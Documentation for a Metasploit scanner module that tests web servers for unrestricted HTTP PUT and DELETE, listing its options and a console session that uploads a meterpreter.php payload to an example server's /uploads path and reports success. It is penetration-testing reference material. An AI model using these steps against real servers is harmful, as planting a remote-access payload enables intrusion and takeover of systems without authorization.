documentation/modules/auxiliary/scanner/http/http_put.md
This module targets web servers that allow HTTP PUT and DELETE methods without proper restrictions.
Improper configuration of HTTP PUT can allow attackers to upload arbitrary files to the server. If executable files are uploaded, this may lead to:
DELETE method misuse can allow attackers to remove existing files from the server.
To test this module:
msfconsoleuse auxiliary/scanner/http/http_putset RHOSTS [IP]set RPORT [PORT]set PATH [PATH]set FILENAME [FILENAME]set FILEDATA [PATH]runIf vulnerable, the module will confirm successful upload or deletion.
Set ACTION to either PUT or DELETE. Default is PUT.
Uploads files to the server. If FILENAME is not specified, a random .txt file is generated.
Deletes the file specified in FILENAME.
Target path for upload or deletion.
Content to upload when using PUT.
Example usage with ACTION set to PUT (default):
msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
RHOSTS => 1.1.1.23
msf auxiliary(scanner/http/http_put) > set RPORT 8585
RPORT => 8585
msf auxiliary(scanner/http/http_put) > set PATH /uploads
PATH => /uploads
msf auxiliary(scanner/http/http_put) > set FILENAME meterpreter.php
FILENAME => meterpreter.php
msf auxiliary(scanner/http/http_put) > set FILEDATA file:/root/Desktop/meterpreter.php
FILEDATA => file:/root/Desktop/meterpreter.php
msf auxiliary(scanner/http/http_put) > run
[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_put) >